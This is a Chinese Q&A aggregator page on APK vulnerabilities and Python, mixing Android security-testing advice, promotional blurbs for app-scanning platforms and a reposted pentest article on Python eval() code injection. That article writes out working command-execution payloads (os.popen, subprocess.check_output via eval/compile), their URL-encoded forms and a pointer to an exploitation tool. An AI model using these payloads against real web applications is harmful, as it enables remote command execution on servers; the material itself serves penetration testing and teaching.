导航:首页 > 编程语言 > apk漏洞python

apk漏洞python

发布时间:2022-05-16 00:25:09

‘壹’ 如何对安卓APK进行安全检测和漏洞检测

一般APP安全检测主要就是对APP安全风险以及安全漏洞检测,根据爱内测平台介绍,主要通过静态分析、动态分析以及人工检测:
静态分析: 利用apktool、dex2jar、jd-gui、smali2dex等静态分析工具对应用进行反编译,并对反编译后的java文件、xml文件等文件静态扫描分析,通过关键词搜索等静态方式将具有安全隐患的代码进行摘录并存入到检测平台后台,为后续的安全检测报告提供数据依据
动态分析:对应用软件安装、运行过程的行为监测和分析。检测的方式包括沙箱模型和虚拟机方式。虚拟机方式通过建立与android手机终端软件运行环境几乎一样的虚拟执行环境,手机应用软件在其中独立运行,从外界观察应用程序的执行过程和动态,进而记录应用程序可能表现出来的恶意行为。
人工检测: 专业安全人员对待检测应用,对其进行安装、运行和试用,通过在试用过程中,逐步掌握应用的特点,并通过专业经验,来圈定检测重点。人工专业检测在涵盖基础检测和深度检测的全部检测项的同时,兼顾侧重点检测,给予应用更全面、更专业、更贴合应用的量身打造的检测服务。

‘贰’ 有谁知道apk漏洞检测工具的好不好用的,要有数据安全检测这方面

由于Android系统的开源性,各类Android App经常被爆出漏洞,以及被反编译、破解。有的Android开发者只是对App进行混淆代码或是防二次打包,对于源码的保护并不到位。同时也不清楚其中所隐藏的漏洞,这里给大家介绍一个Android App漏洞测试工具。同时,经常需要用到的一个性能测试工具,在Android应用开发或测试过程中,对应用程序进行性能压力测试,或者GUI功能测试,以找出程序中隐藏的问题。
1. 文件检查
检查dex、res文件是否存在源代码、资源文件被窃取、替换等安全问题。
2. 漏洞扫描
扫描签名、XML文件是否存在安全漏洞、存在被注入、嵌入代码等风险。
3. 后门检测
检测App是否存在被二次打包,然后植入后门程序或第三方代码等风险。
4. 一键生成
一键生成App关于源码、文件、权限、关键字等方面的安全风险分析报告。
自动化App安全检测平台,只需一键上传APK就可完成安全漏洞检测,检测结果清晰、详细、全面,并可一键生成报告,极大的提高了开发者的开发效率,有效帮助开发者了解App安全状况,提高App安全性。
加密的漏洞分析功能http://safe.ijiami.cn/集成了目前黑客最常用的各种破解方法与思路,模拟黑客攻击行为进行分析。开发者只需上传自己的应用,就可以自动分析出应用存在哪些可被利用的风险漏洞,清晰直观,并且全网首家支持一键下载完整详细的PDF格式分析报告,方便技术及公司管理人员对应用漏洞相关结果进行传递与研究,有针对性的进行安全防护,避免破解损失。

‘叁’ 怎样才能对APK源代码进行安全检测,需要用什么检测平台或者工具吗

要对APK安全检测,可以借用专业的第三方平台,比如爱内测,主要对APK进行遍历扫描,找出APK源码中的安全漏洞,还能生成专业的安全检测报告,给出修复建议。

‘肆’ Android APP漏洞,求APK漏洞检测工具

由于Android系统的开源性,各类Android App经常被爆出漏洞,以及被反编译、破解。有的Android开发者只是对App进行混淆代码或是防二次打包,对于源码的保护并不到位。同时也不清楚其中所隐藏的漏洞,这里给大家介绍一个Android App漏洞测试工具。同时,经常需要用到的一个性能测试工具,在Android应用开发或测试过程中,对应用程序进行性能压力测试,或者GUI功能测试,以找出程序中隐藏的问题。
1. 文件检查
检查dex、res文件是否存在源代码、资源文件被窃取、替换等安全问题。
2. 漏洞扫描
扫描签名、XML文件是否存在安全漏洞、存在被注入、嵌入代码等风险。
3. 后门检测
检测App是否存在被二次打包,然后植入后门程序或第三方代码等风险。
4. 一键生成
一键生成App关于源码、文件、权限、关键字等方面的安全风险分析报告。
自动化App安全检测平台,只需一键上传APK就可完成安全漏洞检测,检测结果清晰、详细、全面,并可一键生成报告,极大的提高了开发者的开发效率,有效帮助开发者了解App安全状况,提高App安全性。
爱加密的漏洞分析功能http://safe.ijiami.cn/集成了目前黑客最常用的各种破解方法与思路,模拟黑客攻击行为进行分析。开发者只需上传自己的应用,就可以自动分析出应用存在哪些可被利用的风险漏洞,清晰直观,并且全网首家支持一键下载完整详细的PDF格式分析报告,方便技术及公司管理人员对应用漏洞相关结果进行传递与研究,有针对性的进行安全防护,避免破解损失。

‘伍’ 怎样检测APK应用是否安全,有什么好用的检测工具

这个是需要专业的手机的软件才可以的。例如应用宝就可以的,主要检测移动应用存在的安全漏洞、安全风险,对程序机密性会采取不同程度不同方式的检测,检测项目包括代码是否混淆,DEX、so库文件是否保护,程序签名、权限管理是否完整等;

‘陆’ Android 应用有哪些安全漏洞

首先,题主询问“Android 应用”的安全漏洞,说到 Android 应用的安全漏洞,如果抛开系统设计问题,其主要原因是开发过程当中疏漏引起的。但其实也并不能把这些责任都怪在程序猿头上。所以本答案也将会对 Android 系统设计以及生态环境做一些阐述。(如果想了解 Android 恶意软件的情况,那就需要另开题目了。) 1. 应用反编译 漏洞:APK 包非常容易被反编译成可读文件,稍加修改就能重新打包成新的 APK。 利用:软件破解,内购破解,软件逻辑修改,插入恶意代码,替换广告商 ID。 建议:使用 ProGuard 等工具混淆代码,重要逻辑用 NDK 实现。 例子:反编译重打包 FlappyBird,把广告商 ID 换了,游戏改加插一段恶意代码等等。 2. 数据的存储与传输 漏洞:外部存储(SD 卡)上的文件没有权限管理,所有应用都可读可写。开发者把敏感信息明文存在 SD 卡上,或者动态加载的 payload 放在 SD 卡上。 利用:窃取敏感信息,篡改配置文件,修改 payload 逻辑并重打包。 建议:不要把敏感信息放在外部存储上面;在动态加载外部资源的时候验证文件完整性。 漏洞:使用全局可读写(MODE_WORLD_READABLE,MODE_WORLD_WRITEABLE)的内部存储方式,或明文存储敏感信息(用户账号密码等)。 利用:全局读写敏感信息,或 root 后读取明文信息。 建议:不适用全局可读写的内部存储方式,不明文存储用户账号密码。 3. 密码泄露 漏洞:密码明文存储,传输。 利用: root 后可读写内部存储。 SD 卡全局可读写。 公共 WiFi 抓包获取账号密码。 建议:实用成熟的加密方案。不要把密码明文存储在 SD 卡上。 4. 组件暴露 (Activity, Service, Broadcast Receiver, Content Provider) 漏洞: 组件在被调用时未做验证。 在调用其他组件时未做验证。 利用: 调用暴露的组件,达到某种效果,获取某些信息,构造某些数据。(比如:调用暴露的组件发短信、微博等)。 监听暴露组件,读取数据。 建议:验证输入信息、验证组件调用等。android:exported 设置为 false。使用 android:protectionLevel="signature" 验证调用来源。 5. WebView 漏洞: 恶意 App 可以注入 JavaScript 代码进入 WebView 中的网页,网页未作验证。 恶意网页可以执行 JavaScript 反过来调用 App 中注册过的方法,或者使用资源。 利用: 恶意程序嵌入 Web App,然后窃取用户信息。 恶意网页远程调用 App 代码。更有甚者,通过 Java Reflection 调用 Runtime 执行任意代码。 建议:不使用 WebView 中的 setJavaScriptEnabled(true),或者使用时对输入进行验证。 6. 其他漏洞 ROOT 后的手机可以修改 App 的内购,或者安装外挂 App 等。 Logcat 泄露用户敏感信息。 恶意的广告包。 利用 next Intent。 7. 总结 Android 应用的漏洞大部分都是因为开发人员没有对输入信息做验证造成的,另外因为 Intent 这种特殊的机制,需要过滤外部的各种恶意行为。再加上 Android 应用市场混乱,开发人员水平参差不齐。所以现在 Android 应用的漏洞,恶意软件,钓鱼等还在不断增多。再加上 root 对于 App 沙箱的破坏,Android 升级的限制。国内的 Android 环境一片混乱,惨不忍睹。所以,如果想要保证你的应用没有安全漏洞,就要记住:永远不要相信外面的世界。

‘柒’ python程序怎么弄成APK文件

有个模块叫Builder

可以打包Python程序

你要确保你的程序有GUI界面!


Android GUI推荐用kivy

适配性较好

‘捌’ 如何使用python查找网站漏洞

如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。
为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。
因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:
1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用
假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了:
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示:
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。具体代码如下所示:
__import__('os').popen('COMMAND').read()
为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。
搭建一个包含漏洞的服务器
为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示:
git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:
1. Web应用接受用户输入(例如GET/POST参数,cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码:
\
大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方。除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。
不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec()函数,所以这个问题肯定会存在。
自动扫描漏洞
为了告诉大家如何利用漏洞来实施攻击,我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后,我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是,不要过度依赖扫描工具,因为还很多东西是扫描工具也找不到的。
这个漏洞也不例外,如果你在某个Web应用中发现了这个漏洞,那么你肯定使用了某款自动化的扫描工具,比如说Burp Suite Pro。目前为止,如果不使用类似Burp Suite Pro这样的专业扫描工具,你几乎是无法发现这个漏洞的。
当你搭建好测试环境之后,启动并运行包含漏洞的示例应用。接下来,使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示:
\
下图显示的是Burp在扫描这个漏洞时所使用的Payload:
\
我们可以看到,Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的),是因为当它将这个Payload发送给目标Web应用之后,服务器的Python解析器休眠了20秒,响应信息在20秒之后才成功返回。但我要提醒大家的是,这种基于时间的漏洞检查机制通常会存在一定的误报。
将PoC升级成漏洞利用代码
使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来,为了执行操作系统指令并接收相应的输出数据,我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了,应该还有很多其他的函数同样可以实现我们的目标。
因为eval()函数只能对表达式进行处理,因此Burp Suite Pro的Payload在这里使用了compile()函数,这是一种非常聪明的做法。当然了,我们也可以使用其他的方法来实现,例如使用全局函数“__import__”。关于这部分内容请查阅参考资料:[参考资料1][参考资料2]
下面这个Payload应该可以适用于绝大多数的场景:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了。实现代码如下所示:
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中,有时全局函数“__import__”会不起作用。在这种情况下,我们就要使用for循环了。相关代码如下所示:
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数,那么你就可以直接在浏览器中利用这个漏洞了:
\
请注意:虽然浏览器会帮你完成绝大部分的URL编码工作,但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外,你也可以直接使用我们所开发的工具。
如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具。如下图所示,我在subprocess.check_output()函数中一次性调用了多个系统命令,即pwd、ls、-al、whoami和ping。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码,我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到,它跟sqlmap一样使用起来非常的简单。除此之外,它的使用方法跟sqlmap基本相同。

‘玖’ 哪位大侠用python做过网络爬虫,可以爬取apk的,有代码的发一份给我研究下,谢谢

保存文件的话

import urllib

urllib.urlretrieve(url[,filename[,reporthook[,data]]])

比如 urllib..urlretrieve("http://s.xnimg.cn/imgpro/v6/logo.png", "logo.png")

先说明一下网页重定向。比如在一个download.aspx里

<%
response.rederict("xxx.apk")
%>

这句话是在服务器端运行的,我现在一下子想不到办法

阅读全文

与apk漏洞python相关的资料

热点内容
短字符串压缩 浏览:861
u盘插入后显示加密格式化 浏览:942
我的世界怎么用命令方块获得超级武器 浏览:382
狗语翻译器app链接怎么下 浏览:905
选择排序算法的流程图 浏览:881
如何对文件夹开启共享 浏览:527
常用的磁盘调度算法 浏览:662
怎么用返利app返利 浏览:127
java代码快速 浏览:243
单片机左移右移后是补1还是0 浏览:599
湛江一号命令 浏览:333
导出命令行 浏览:274
C和php交互 浏览:600
苹果手机里的通讯录如何导入安卓手机 浏览:170
怎么在京东app里面看自己会员等级 浏览:43
emerson服务器怎么短接启动 浏览:559
工控编程人员工资 浏览:397
速成意大利语pdf 浏览:250
连续加减乘除法的算法 浏览:654
用mfc编程实现dda算法 浏览:43